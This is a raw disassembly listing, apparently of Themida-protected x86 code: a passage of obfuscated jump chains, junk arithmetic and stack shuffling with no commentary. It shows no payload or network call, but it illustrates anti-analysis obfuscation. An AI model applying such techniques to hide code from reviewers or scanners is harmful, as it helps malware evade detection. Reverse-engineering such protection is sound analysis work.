		mov	ebx, 749F3259h
		shl	ebx, 5
		not	ebx
		shr	ebx, 8
		dec	ebx
		xor	ebx, 579B0782h
		add	ebx, 0AA87B0F3h
		sub	ebp, ebx
		pop	ebx
		sub	ebx, ebp
		pop	ebp
		jmp	loc_560621
; ---------------------------------------------------------------------------


loc_56DCCA:				; CODE XREF: sub_562ABA+4499j
		mov	[esp+12h+var_12], ecx
		push	eax
		mov	ah, 24h
		mov	cl, 0D5h
		jmp	loc_56BBBA
; ---------------------------------------------------------------------------


loc_56DCD7:				; CODE XREF: sub_562ABA+5B9Dj
		mov	ch, 0E6h
		sub	bl, ch
		pop	ecx
		push	[esp+0Ch+var_C]
		mov	edx, [esp+10h+var_12+2]
		add	esp, 4
		jmp	loc_56B5A1
; ---------------------------------------------------------------------------
		push	[esp+0Ch+var_C]
		mov	eax, [esp+10h+var_12+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp+14h+var_16+2]
		jmp	loc_568FBD
; ---------------------------------------------------------------------------


loc_56DD07:				; CODE XREF: sub_562ABA+2054j
		add	esi, 5265E017h
		add	edi, esi
		pop	esi
		add	edi, ebx
		push	ebx
		mov	ebx, 52F83608h
		inc	ebx
		add	ebx, 0FCE72F0Eh
		sub	edi, ebx
		jmp	loc_572560
; ---------------------------------------------------------------------------


loc_56DD26:				; CODE XREF: sub_562ABA-4723j
		mov	cl, 71h
		jmp	loc_5632C2
; ---------------------------------------------------------------------------


loc_56DD2D:				; CODE XREF: sub_562ABA+4646j
		push	[esp+4Ch+var_4E+2]
		pop	ebx
		add	esp, 4
		push	ecx
		mov	cl, 19h
		shl	cl, 4
		jmp	loc_56A79E
; ---------------------------------------------------------------------------


loc_56DD3F:				; CODE XREF: sub_562ABA+5313j
		mov	[esp+1Ch+var_1E+2], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+1Ch+var_1E+2]
		pop	esp
		add	bl, al
		push	eax
		mov	ah, 48h
		add	bl, 30h
		sub	bl, 1Eh
		sub	bl, ah
		add	bl, 1Eh
		sub	bl, 30h
		mov	eax, [esp+1Ch+var_1E+2]
		add	esp, 4
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56DD76:				; CODE XREF: sub_562ABA+2CCBj
		mov	[esp+6+var_8+2], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56C3C9
; ---------------------------------------------------------------------------


loc_56DD86:				; CODE XREF: sub_562ABA+E416j
		pop	ebx
		sub	al, ch
		add	al, 0F8h
		pop	ecx
		add	al, 15h
		sub	al, 97h
		sub	al, cl
		add	al, 97h
		push	edx
		push	eax
		mov	al, 15h
		push	ebx
		push	ecx
		jmp	loc_560C25
; ---------------------------------------------------------------------------


loc_56DD9F:				; CODE XREF: sub_562ABA+2A6Fj
		add	[esp+36h+var_36], 4
		pop	edi
		push	eax
		mov	eax, 32992781h
		xor	eax, 32992785h
		add	edi, eax
		pop	eax
		add	edi, 4
		jmp	loc_56CABD
; ---------------------------------------------------------------------------


loc_56DDBA:				; CODE XREF: sub_562ABA+7E3Bj
		pop	esp
		jmp	loc_570083
; ---------------------------------------------------------------------------


loc_56DDC0:				; CODE XREF: sub_562ABA+9C50j
		mov	esi, 66535ED3h
		push	ebp
		jmp	loc_55EC3F
; ---------------------------------------------------------------------------


loc_56DDCB:				; CODE XREF: sub_562ABA+3E0j
		mov	ebp, esp
		jmp	loc_568FE3
; ---------------------------------------------------------------------------


loc_56DDD2:				; CODE XREF: sub_562ABA+5D87j
		not	edi
		xchg	edi, ebp
		xor	ebp, 3AA31022h
		add	ebp, 81196793h
		sub	edx, ebp
		mov	ebp, [esp+1Eh+var_1E]
		add	esp, 4
		add	edx, esi
		jmp	loc_56D6AF
; ---------------------------------------------------------------------------


loc_56DDF4:				; CODE XREF: sub_562ABA+CF67j
		mov	eax, 1C3A5943h
		jmp	loc_560A72
; ---------------------------------------------------------------------------


loc_56DDFE:				; CODE XREF: sub_562ABA+498Dj
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_5673CB
; ---------------------------------------------------------------------------


loc_56DE0B:				; CODE XREF: sub_562ABA-DADj
		mov	[esp+16h+var_16], ebx
		mov	bl, 55h
		add	cl, 18h
		add	cl, bl
		sub	cl, 18h
		pop	ebx
		sub	al, cl
		mov	ecx, [esp+12h+var_12]
		add	esp, 4
		push	edx
		push	small 655Ch
		jmp	loc_55E443
; ---------------------------------------------------------------------------


loc_56DE2B:				; CODE XREF: sub_562ABA+FD47j
		push	edi
		mov	edi, 4
		sub	ecx, edi
		pop	edi
		xor	ecx, [esp+14h+var_16+2]
		xor	[esp+14h+var_16+2], ecx
		jmp	loc_5620B4
; ---------------------------------------------------------------------------


loc_56DE3F:				; CODE XREF: sub_562ABA+3AA6j
		shl	ebx, 1
		xor	ebx, 2DB80574h
		add	ecx, ebx
		pop	ebx
		push	edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_56EED0
; ---------------------------------------------------------------------------


loc_56DE57:				; CODE XREF: sub_562ABA+1894j
		push	4FBFh
		mov	[esp+50h+var_52+2], ebx
		mov	ebx, 6D7B6193h
		sub	ebx, 2FAB0E7Dh
		and	ebx, 36DF4DC2h
		sub	ebx, 0B867DDF8h
		jmp	loc_569D83
; ---------------------------------------------------------------------------


loc_56DE7B:				; CODE XREF: sub_562ABA+4CFDj
		mov	edi, 2
		mov	ebx, edi
		pop	edi
		jmp	loc_5650A9
; ---------------------------------------------------------------------------


loc_56DE88:				; CODE XREF: sub_562ABA+D185j
		xchg	ebp, ecx
		not	ebp
		jmp	loc_571E57
; ---------------------------------------------------------------------------


loc_56DE91:				; CODE XREF: sub_55FCA5+3DBj
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 2C7A6EBAh
		shl	ebp, 5
		dec	ebp
		or	ebp, 10FF3AE3h
		neg	ebp
		inc	ebp
		jmp	loc_570A96
; ---------------------------------------------------------------------------


loc_56DEAC:				; CODE XREF: sub_562ABA+353Dj
		mov	edi, 4
		sub	edx, edi
		jmp	loc_561A2D
; ---------------------------------------------------------------------------


loc_56DEB8:				; CODE XREF: sub_562ABA+4BF8j
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		push	edx
		push	esi
		push	4
		pop	esi
		push	esi
		xor	[esp+1Ah+var_1A], 66066AAEh
		pop	edx
		xor	edx, 66066AAEh
		pop	esi
		jmp	loc_5614AD
; ---------------------------------------------------------------------------


loc_56DEE9:				; CODE XREF: sub_562ABA+93B9j
		pop	esp
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56DEEF:				; CODE XREF: sub_562ABA+ECB0j
		push	[esp+2Ah+var_2C+2]
		pop	edx
		add	esp, 4
		or	eax, eax
		jz	loc_55E567
		push	dword ptr [edi+1Ch]
		jmp	loc_56EA05
; ---------------------------------------------------------------------------


loc_56DF09:				; CODE XREF: sub_55FCA5+122A5j
		push	[esp+2Ah+var_2C+2]
		pop	ebp
		add	esp, 4
		pop	[esp+26h+var_28+2]
		mov	esp, [esp+22h+var_22]
		btc	word ptr [esp+22h+var_22], ax
		pushf
		jmp	loc_56A75A
; ---------------------------------------------------------------------------


loc_56DF21:				; CODE XREF: sub_562ABA+DB09j
		sub	[esp+26h+var_1E], 575A5B70h
		jmp	loc_57225B
; ---------------------------------------------------------------------------


loc_56DF2E:				; CODE XREF: sub_562ABA+C1A4j
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		mov	ebp, [esp+2Ah+var_2C+2]
		add	esp, 4
		xchg	edx, [esp+26h+var_28+2]
		mov	esp, [esp+26h+var_28+2]
		mov	ebx, eax
		jmp	loc_565102
; ---------------------------------------------------------------------------


loc_56DF51:				; CODE XREF: sub_562ABA+A4BDj
		add	edi, eax
		mov	eax, [esp+1Ah+var_1A]
		jmp	loc_55FD36
; ---------------------------------------------------------------------------


loc_56DF5B:				; CODE XREF: sub_562ABA+60D7j
		mov	eax, ecx
		pop	ecx
		add	edx, eax
		pop	eax
		jmp	loc_56C73B
; ---------------------------------------------------------------------------


loc_56DF66:				; CODE XREF: sub_562ABA+E221j
		xchg	eax, ebp
		sub	eax, 0FFFFFFFFh
		xchg	eax, ebp
		shr	ebp, 5
		xor	ebp, 13B0B419h
		add	eax, 12EE40FCh
		add	eax, ebp
		sub	eax, 12EE40FCh
		pop	ebp
		mov	ebx, [esp+12h+var_12]
		push	69E2h
		jmp	loc_5621F5
; ---------------------------------------------------------------------------


loc_56DF90:				; CODE XREF: sub_562ABA+A704j
		mov	[esp+2Ah+var_2C+2], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		jmp	loc_562E27
; ---------------------------------------------------------------------------


loc_56DFA0:				; CODE XREF: sub_562ABA+4765j
		add	esp, 4
		pop	ebp
		jmp	loc_56F45D
; ---------------------------------------------------------------------------


loc_56DFA9:				; CODE XREF: sub_562ABA+51D3j
		sub	eax, 73D19E1h
		jmp	loc_55EBF4
; ---------------------------------------------------------------------------


loc_56DFB3:				; CODE XREF: sub_562ABA+C315j
		add	esi, ebx
		pop	ebx
		push	ebx
		mov	ebx, 2EEB56D7h
		jmp	loc_56BC54
; ---------------------------------------------------------------------------


loc_56DFC1:				; CODE XREF: sub_562ABA+C6A7j
		add	eax, 3F30E38h
		add	eax, edx
		sub	eax, 3F30E38h
		push	[esp+3Eh+var_3E]
		pop	edx
		add	esp, 4
		sub	eax, 65D5761h
		push	ebx
		mov	ebx, 6F2D50C2h
		jmp	loc_55FE19
; ---------------------------------------------------------------------------


loc_56DFE4:				; CODE XREF: sub_562ABA+4C38j
		mov	[esp+26h+var_28+2], edx
		pop	dword ptr [edi+20h]
		jmp	loc_561A3A
; ---------------------------------------------------------------------------


loc_56DFEF:				; CODE XREF: sub_562ABA+1631j
		push	[esp+12h+var_12]
		pop	esi
		add	esp, 4
		push	ecx
		jmp	loc_565F36
; ---------------------------------------------------------------------------


loc_56DFFC:				; CODE XREF: sub_562ABA-140Aj
		pop	ebx
		add	edx, 30B0995h
		sub	edx, esi
		sub	edx, 30B0995h
		pop	esi
		jmp	loc_563613
; ---------------------------------------------------------------------------


loc_56E011:				; CODE XREF: sub_562ABA+7C58j
		ror	word ptr [esp-0Ah+arg_4+2], cl
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56E01B:				; CODE XREF: sub_562ABA+D4Aj
		pop	ecx
		add	esp, 4
		xchg	edi, [esp+16h+var_16]
		mov	esp, [esp+16h+var_16]
		idiv	ecx
		push	15B0h
		mov	[esp+1Ah+var_1A], edx
		jmp	loc_56D39A
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 24DC5910h
		add	eax, 4E2D4719h
		add	eax, 57FB4557h
		sub	eax, ebx
		jmp	loc_571B97
; ---------------------------------------------------------------------------


loc_56E04E:				; CODE XREF: sub_562ABA+46Dj
		mov	ecx, eax
		pop	eax
		jmp	loc_56A64A
; ---------------------------------------------------------------------------


loc_56E056:				; CODE XREF: sub_562ABA+F68Bj
		sub	[esp+1Ch+var_16+2], ebp
		jmp	loc_5638CF
; ---------------------------------------------------------------------------


loc_56E05F:				; CODE XREF: sub_562ABA+7AB0j
		pop	ebp
		push	ecx
		push	ebp
		pop	ecx
		pop	ebp
		jmp	loc_561074
; ---------------------------------------------------------------------------


loc_56E069:				; CODE XREF: sub_562ABA+2B97j
		and	ebp, 14D5326Eh
		sub	ebp, 6AE12CEBh
		sub	ebp, 9570602h
		or	ebp, 3E83356Ah
		jmp	loc_55FA40
; ---------------------------------------------------------------------------


loc_56E086:				; CODE XREF: sub_562ABA+C91Cj
		shl	edi, 8
		jmp	loc_57034F
; ---------------------------------------------------------------------------


loc_56E08E:				; CODE XREF: sub_562ABA+FD8Aj
		not	ecx
		jmp	loc_568852
; ---------------------------------------------------------------------------


loc_56E095:				; CODE XREF: sub_562ABA+D26Ej
		mov	ecx, 38266D02h
		dec	ecx
		not	ecx
		push	edi
		mov	edi, 54057336h
		jmp	loc_56FB1A
; ---------------------------------------------------------------------------


loc_56E0A8:				; CODE XREF: sub_562ABA+37B1j
		push	5F48h
		mov	[esp+3Ch+var_3E+2], ecx
		jmp	loc_560E06
; ---------------------------------------------------------------------------


loc_56E0B5:				; CODE XREF: sub_562ABA+26F3j
		mov	edx, 3F895AACh
		sub	esi, edx
		jmp	loc_568F1A
; ---------------------------------------------------------------------------


loc_56E0C1:				; CODE XREF: sub_562ABA+48F9j
		add	dh, 0A0h
		mov	cl, dh
		pop	edx
		mov	bl, cl
		pop	ecx
		sub	bl, 0CCh
		add	bl, 0C3h
		jmp	loc_570574
; ---------------------------------------------------------------------------


loc_56E0D5:				; CODE XREF: sub_562ABA+681Aj
		mov	edi, 4
		sub	ebp, 3BAD527Ah
		jmp	loc_56E561
; ---------------------------------------------------------------------------


loc_56E0E5:				; CODE XREF: sub_562ABA+90D5j
		mov	bh, 5
		push	edx
		mov	dl, 80h
		xor	dl, 9Fh
		dec	dl
		jmp	loc_571D38
; ---------------------------------------------------------------------------


loc_56E0F4:				; CODE XREF: sub_562ABA+50DBj
		xor	ecx, 0A8905BA8h
		sub	ebx, 65A16606h
		sub	ebx, ecx
		jmp	loc_56492E
; ---------------------------------------------------------------------------


loc_56E107:				; CODE XREF: sub_562ABA+BA42j
		inc	esi
		xor	esi, 0B689CD08h
		add	edi, 6F7043F1h
		jmp	loc_56369A
; ---------------------------------------------------------------------------


loc_56E119:				; CODE XREF: sub_562ABA+5F7Cj
		mov	esi, [esp+1Eh+var_1E]
		jmp	loc_55F5E9
; ---------------------------------------------------------------------------


loc_56E121:				; CODE XREF: sub_562ABA-39CCj
		push	eax
		mov	eax, 0B6A013Fh
		sub	ebx, eax
		push	dword ptr [esp+0]
		pop	eax
		add	esp, 4
		shl	ebx, 3
		push	272Ah
		mov	[esp+0], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		push	esi
		push	29201E85h
		pop	esi
		shl	esi, 2
		dec	esi
		add	esi, 76A3BC67h
		jmp	loc_56E444
; ---------------------------------------------------------------------------


loc_56E15D:				; CODE XREF: sub_562ABA+3BD8j
		push	ebx
		jmp	loc_571F4F
; ---------------------------------------------------------------------------


loc_56E163:				; CODE XREF: sub_562ABA+4A3Cj
		sub	ecx, eax
		jmp	loc_56E474
; ---------------------------------------------------------------------------


loc_56E16A:				; DATA XREF: Themida_:0055DDF8o
		push	[esp+22h+var_22]
		push	[esp+26h+var_28+2]
		jmp	loc_5608E5
; ---------------------------------------------------------------------------


loc_56E175:				; CODE XREF: sub_562ABA+14EBj
		add	esp, 4
		sub	esp, 4
		mov	[esp+50h+var_52+2], edx
		jmp	loc_56BA90
; ---------------------------------------------------------------------------


loc_56E189:				; CODE XREF: sub_562ABA+6F1Ej
		push	ecx
		push	7549555Dh
		pop	ecx
		push	esi
		mov	esi, 4DB63EC8h
		jmp	loc_567F3E
; ---------------------------------------------------------------------------


loc_56E19B:				; CODE XREF: sub_562ABA+6BA4j
		mov	ebx, esp
		push	esi
		mov	esi, 3901567Ah
		dec	esi
		or	esi, 6590FB2h
		push	edi
		mov	edi, 1
		sub	esi, edi
		pop	edi
		push	eax
		mov	eax, 0FFFFFFFFh
		sub	esi, eax
		pop	eax
		shl	esi, 1
		push	ebp
		push	eax
		push	238A6125h
		pop	eax
		push	0
		sub	[esp+26h+var_28+2], eax
		pop	eax
		jmp	loc_55E73D
; ---------------------------------------------------------------------------


loc_56E1D4:				; CODE XREF: sub_562ABA+E916j
		add	esp, 4
		push	eax
		push	[esp+22h+var_1E]
		pop	eax
		pop	[esp+22h+var_22]
		pop	esp
		btc	word ptr [esp+1Ah+var_1A], ax
		pushf
		jmp	loc_568EB5
; ---------------------------------------------------------------------------


loc_56E1EF:				; CODE XREF: sub_562ABA+4715j
		xor	ebp, 0E2E424h
		mov	ebx, ebp
		pop	ebp
		sub	ebp, 73C53402h
		add	ebp, ebx
		add	ebp, 73C53402h
		pop	ebx
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		jmp	loc_569E84
; ---------------------------------------------------------------------------


loc_56E215:				; CODE XREF: sub_5620A9+6j
		add	eax, ebp
		mov	ebp, [esp+0]
		jmp	loc_56ADED
; ---------------------------------------------------------------------------


loc_56E21F:				; CODE XREF: sub_55F660+2j
		mov	ecx, 6EB33B78h
		mov	ebp, 11EFE13h
		jmp	loc_567502
; ---------------------------------------------------------------------------


loc_56E22E:				; CODE XREF: sub_562ABA+C989j
		add	dl, ah
		mov	ax, [esp+0]
		add	esp, 2
		add	al, 97h
		sub	al, 0DDh
		jmp	loc_56A861
; ---------------------------------------------------------------------------


loc_56E240:				; CODE XREF: sub_562ABA+35CFj
		mov	ebp, [esp+0Ah+var_C+2]
		add	esp, 4
		add	esi, ecx
		pop	ecx
		push	325h
		mov	[esp+6+var_8+2], esi
		push	[esp+6+var_4+2]
		pop	esi
		pop	[esp+6+var_8+2]
		mov	esp, [esp+2+var_4+2]
		sar	word ptr [esp+2+var_4+2], cl
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
		mov	ecx, [esp+6+var_8+2]
		push	3654h
		mov	[esp+0Ah+var_C+2], ebp
		jmp	loc_568EF8
; ---------------------------------------------------------------------------


loc_56E276:				; CODE XREF: sub_562ABA+8AF1j
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp+1Eh+var_1E]
		jmp	loc_55FC94
; ---------------------------------------------------------------------------


loc_56E286:				; CODE XREF: sub_562ABA+45D5j
		xor	ch, 37h
		or	dl, ch
		pop	ecx
		push	ecx
		sub	esp, 4
		mov	[esp+8+var_8], edx
		mov	dl, 1
		not	dl
		dec	dl
		jmp	loc_56CAD4
; ---------------------------------------------------------------------------
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		push	[esp+10h+var_12+2]
		mov	eax, [esp+14h+var_16+2]
		jmp	loc_566FE4
; ---------------------------------------------------------------------------


loc_56E2AF:				; CODE XREF: sub_562ABA+8750j
		sub	ecx, 0E7A3D050h
		jmp	loc_57030D
; ---------------------------------------------------------------------------


loc_56E2BA:				; DATA XREF: Themida_:0055DDDCo
		push	dword ptr [edi+3Ch]
		push	3266h
		jmp	loc_563ACF
; ---------------------------------------------------------------------------


loc_56E2C7:				; CODE XREF: sub_562ABA-6EDj
		push	ax
		mov	al, 56h
		xor	bh, al
		jmp	loc_5704EC
; ---------------------------------------------------------------------------


loc_56E2D2:				; CODE XREF: sub_562ABA-2D5j
		mov	eax, [esp+16h+var_16]
		add	esp, 4
		push	esi
		jmp	loc_567953
; ---------------------------------------------------------------------------


loc_56E2DE:				; CODE XREF: sub_562ABA+6BCDj
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_56BE22
; ---------------------------------------------------------------------------


loc_56E2E8:				; CODE XREF: sub_562ABA+A0D0j
		pop	edx
		push	eax
		push	ebp
		push	edi
		jmp	loc_567F8E
; ---------------------------------------------------------------------------


loc_56E2F1:				; CODE XREF: sub_562ABA+B852j
		push	eax
		push	ebp
		mov	ebp, 9C42CD3h
		mov	eax, 5CFA4ADDh
		add	eax, ebp
		mov	ebp, [esp+3Eh+var_3E]
		jmp	loc_569D8A
; ---------------------------------------------------------------------------


loc_56E307:				; CODE XREF: sub_562ABA-EB5j
		mov	eax, 0B07AF095h
		jmp	loc_56E2F1
; ---------------------------------------------------------------------------


loc_56E311:				; CODE XREF: sub_562ABA+E507j
		mov	ah, 51h
		sub	bl, ah
		pop	ax
		jmp	loc_571F88
; ---------------------------------------------------------------------------


loc_56E31C:				; CODE XREF: sub_562ABA+F9CDj
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56E321:				; CODE XREF: sub_562ABA+BEF3j
		push	esi
		jmp	loc_5692D9
; ---------------------------------------------------------------------------


loc_56E327:				; CODE XREF: sub_55FCA5+D0j
		shl	edx, 1
		push	ecx
		jmp	loc_56D6A5
; ---------------------------------------------------------------------------


loc_56E32F:				; CODE XREF: sub_55FCA5+39Fj
		mov	edx, 6528E88Ah
		jmp	loc_565F44
; ---------------------------------------------------------------------------


loc_56E339:				; CODE XREF: sub_562ABA+B961j
		xor	ebp, [esp+22h+var_22]
		jmp	loc_569889
; ---------------------------------------------------------------------------


loc_56E341:				; CODE XREF: sub_562ABA+33B7j
		push	[esp+16h+var_12]
		pop	edi
		jmp	loc_56F945
; ---------------------------------------------------------------------------


loc_56E34B:				; CODE XREF: sub_562ABA+3978j
		add	esp, 4
		mov	ebp, edi
		pop	edi
		and	[edi+1Ch], ebp
		push	[esp+26h+var_28+2]
		pop	ebp
		add	esp, 4
		jmp	loc_55FAD2
; ---------------------------------------------------------------------------


loc_56E360:				; CODE XREF: sub_562ABA-2860j
		pop	ecx
		jmp	loc_56790E
; ---------------------------------------------------------------------------


loc_56E366:				; CODE XREF: sub_562ABA-10ACj
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_55F02B
; ---------------------------------------------------------------------------


loc_56E378:				; CODE XREF: sub_562ABA+39BAj
		mov	edx, esp
		add	edx, 4
		push	0D2Dh
		mov	[esp+3Ah+var_3A], ecx
		push	12A0h
		mov	[esp+3Eh+var_3E], ebp
		mov	ebp, 3A1A3259h
		sub	ebp, 1
		jmp	loc_56411D
; ---------------------------------------------------------------------------


loc_56E39D:				; CODE XREF: sub_562ABA-2027j
		push	0BFF2041h
		pop	eax
		xor	eax, 0F494D36Fh
		jmp	loc_57052E
; ---------------------------------------------------------------------------


loc_56E3AD:				; CODE XREF: sub_562ABA+EC25j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		jmp	loc_56FFC9
; ---------------------------------------------------------------------------


loc_56E3BC:				; CODE XREF: sub_562ABA+80E6j
		pop	ebx
		add	esi, 50521070h
		dec	esi
		dec	esi
		push	eax
		jmp	loc_56A095
; ---------------------------------------------------------------------------


loc_56E3CB:				; CODE XREF: sub_562ABA+8BA2j
		shr	edx, 4
		jmp	loc_569287
; ---------------------------------------------------------------------------


loc_56E3D3:				; CODE XREF: sub_562ABA+C1C8j
		inc	edi
		jmp	loc_57116A
; ---------------------------------------------------------------------------


loc_56E3D9:				; CODE XREF: sub_562ABA+C60Fj
		pop	eax
		sub	esp, 4
		mov	[esp+22h+var_22], eax
		push	48EDh
		mov	[esp+26h+var_28+2], edi
		mov	edi, 7C792CB3h
		push	2026h
		jmp	loc_56C241
; ---------------------------------------------------------------------------


loc_56E3FA:				; CODE XREF: sub_562ABA+1EFAj
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56E406:				; CODE XREF: sub_562ABA+5E94j
		add	eax, edi
		pop	edi
		not	eax
		and	eax, 66D54DD9h
		jmp	loc_56A731
; ---------------------------------------------------------------------------


loc_56E415:				; CODE XREF: sub_562ABA+D5A8j
		xor	ebp, [esp+0Ah+var_C+2]
		xor	[esp+0Ah+var_C+2], ebp
		jmp	loc_56E339
; ---------------------------------------------------------------------------


loc_56E420:				; CODE XREF: sub_562ABA+92DFj
		pop	esi
		add	esp, 4
		add	ebx, 4
		xor	ebx, [esp+32h+var_32]
		xor	[esp+32h+var_32], ebx
		xor	ebx, [esp+32h+var_32]
		mov	esp, [esp+32h+var_32]
		jmp	loc_5665D4
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+32h+var_32]
		push	edx
		mov	edx, esp
		jmp	loc_56E70B
; ---------------------------------------------------------------------------


loc_56E444:				; CODE XREF: sub_562ABA+B69Ej
		mov	ecx, esi
		jmp	loc_56BC3B
; ---------------------------------------------------------------------------


loc_56E44B:				; CODE XREF: sub_562ABA+99A0j
		mov	edx, 36324FCAh
		jmp	loc_560593
; ---------------------------------------------------------------------------


loc_56E455:				; CODE XREF: sub_562ABA+D6Fj
		mov	[edx+38h], ebp
		push	[esp-10h+arg_C]
		pop	ebp
		add	esp, 4


loc_56E462:				; CODE XREF: sub_562ABA+2A77j
		push	51F5h
		mov	[esp-10h+arg_C], ebp
		mov	ebp, 7DD115B4h
		jmp	loc_569E9B
; ---------------------------------------------------------------------------


loc_56E474:				; CODE XREF: sub_562ABA+B6ABj
		pop	eax
		sub	ecx, 4C560553h
		xor	ecx, 7B699079h
		jmp	loc_56887E
; ---------------------------------------------------------------------------


loc_56E486:				; CODE XREF: sub_562ABA+D653j
		sub	esp, 4
		mov	[esp+22h+var_22], edi
		jmp	loc_5676D8
; ---------------------------------------------------------------------------


loc_56E491:				; CODE XREF: sub_562ABA+10C5j
		pop	ecx
		xchg	edx, [esp+46h+var_46]
		jmp	loc_564AD2
; ---------------------------------------------------------------------------


loc_56E49A:				; CODE XREF: sub_562ABA+F43Aj
		mov	esi, 51E47D27h
		jmp	loc_5657E6
; ---------------------------------------------------------------------------


loc_56E4A4:				; CODE XREF: sub_562ABA+8D8Cj
		add	ecx, 4
		jmp	loc_5645BF
; ---------------------------------------------------------------------------


loc_56E4AF:				; CODE XREF: sub_562ABA-A16j
		sub	eax, ebx
		pop	ebx
		add	eax, 53C9494Bh
		mov	ebp, [esp+0Ah+var_C+2]
		add	esp, 4
		push	small word ptr [eax]
		jmp	loc_572256
; ---------------------------------------------------------------------------


loc_56E4C8:				; CODE XREF: sub_562ABA+34DAj
		mov	[esp+1Ah+var_1A], ebx
		jmp	loc_567E8F
; ---------------------------------------------------------------------------


loc_56E4D0:				; CODE XREF: sub_562ABA+56C9j
		shl	ebx, 7
		sub	ebx, 43D1DDD7h
		sub	eax, ebx
		jmp	loc_5699C1
; ---------------------------------------------------------------------------


loc_56E4E0:				; CODE XREF: sub_562ABA+3765j
		add	al, 0AEh
		pop	bx
		pop	ecx
		jmp	loc_55FF8E
; ---------------------------------------------------------------------------


loc_56E4EA:				; CODE XREF: sub_562ABA+957Dj
		mov	esi, edi
		pop	edi
		and	esi, 6FC47E0Dh
		push	edx
		mov	edx, 36B91EC6h
		or	esi, edx
		pop	edx
		jmp	loc_56E107
; ---------------------------------------------------------------------------


loc_56E501:				; CODE XREF: sub_562ABA+95E9j
		shl	edx, 5
		add	edx, 1
		push	esi
		jmp	loc_56ABA5
; ---------------------------------------------------------------------------


loc_56E510:				; CODE XREF: sub_562ABA+2DC4j
		add	esp, 4
		add	ecx, ebx
		push	[esp-10h+arg_C]
		pop	ebx
		jmp	loc_56FAA7
; ---------------------------------------------------------------------------


loc_56E51E:				; CODE XREF: sub_562ABA-967j
		push	62007790h
		mov	edi, [esp+16h+var_16]
		add	esp, 4
		jmp	loc_56F16E
; ---------------------------------------------------------------------------


loc_56E52E:				; CODE XREF: sub_562ABA+51BBj
		mov	[esp+46h+var_46], eax
		push	edx
		jmp	loc_566425
; ---------------------------------------------------------------------------


loc_56E537:				; CODE XREF: sub_562ABA+58F0j
		pop	esp
		pop	[esp+26h+var_28+2]
		not	ebp
		push	72EBh
		mov	[esp+26h+var_28+2], ebp
		push	[esp+26h+var_22]
		push	[esp+2Ah+var_2C+2]
		pop	ebp
		add	esp, 4
		pop	[esp+26h+var_28+2]
		push	[esp+22h+var_22]
		pop	eax
		push	eax
		push	esp
		mov	eax, [esp+2Ah+var_2C+2]
		jmp	loc_571811
; ---------------------------------------------------------------------------


loc_56E561:				; CODE XREF: sub_562ABA+B626j
		add	ebp, edi
		add	ebp, 3BAD527Ah
		pop	edi
		jmp	loc_56676E
; ---------------------------------------------------------------------------


loc_56E56F:				; CODE XREF: sub_562ABA+ABB3j
		add	eax, ebx
		pop	ebx
		add	eax, 0FAB5F682h
		jmp	loc_56F836
; ---------------------------------------------------------------------------


loc_56E57C:				; CODE XREF: sub_562ABA-3A5Dj
		pop	edx
		jmp	loc_564CB7
; ---------------------------------------------------------------------------


loc_56E582:				; CODE XREF: sub_562ABA+94AFj
		mov	[esp+1Eh+var_1E], edi
		mov	edi, 2
		jmp	loc_5634C0
; ---------------------------------------------------------------------------


loc_56E58F:				; CODE XREF: sub_562ABA+766Aj
		pop	edx
		pop	dword ptr [edx+30h]
		jmp	loc_55E335
; ---------------------------------------------------------------------------


loc_56E598:				; CODE XREF: sub_562ABA-228Fj
		mov	[esp+3Ah+var_3A], ebx
		mov	ebx, 64D0243Dh
		and	edi, ebx
		jmp	loc_560D1F
; ---------------------------------------------------------------------------


loc_56E5A7:				; CODE XREF: sub_562ABA+F5BFj
		mov	ah, 5Ah
		mov	cl, ah
		pop	eax
		mov	dh, 0F3h
		add	dh, cl
		push	[esp+36h+var_36]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+3Ah+var_3A]
		xor	[esp+3Ah+var_3A], ecx
		xor	ecx, [esp+3Ah+var_3A]
		mov	esp, [esp+3Ah+var_3A]
		xor	ah, dh
		jmp	loc_56F014
; ---------------------------------------------------------------------------


loc_56E5D6:				; CODE XREF: Themida_:00560831j
		add	al, 93h
		add	al, 11h
		add	al, bl
		sub	al, 11h
		sub	esp, 4
		mov	[esp+3Eh+var_3E], ecx
		mov	ch, 6Ah
		add	ch, 0FFh
		xchg	dl, ch
		not	dl
		xchg	dl, ch
		jmp	loc_56DA0E
; ---------------------------------------------------------------------------


loc_56E5F4:				; CODE XREF: sub_562ABA+7749j
		add	esp, 4
		add	esp, 4
		push	esi
		push	[esp+24h+var_22+2]
		push	[esp+28h+var_28]
		pop	esi
		add	esp, 4
		pop	dword ptr [esp+0]
		jmp	loc_5609AD
; ---------------------------------------------------------------------------


loc_56E614:				; CODE XREF: sub_562ABA+3B3j
		not	ecx
		add	ecx, 11F24A22h
		mov	edx, ecx
		pop	ecx
		add	edx, 0FFFFFFFFh
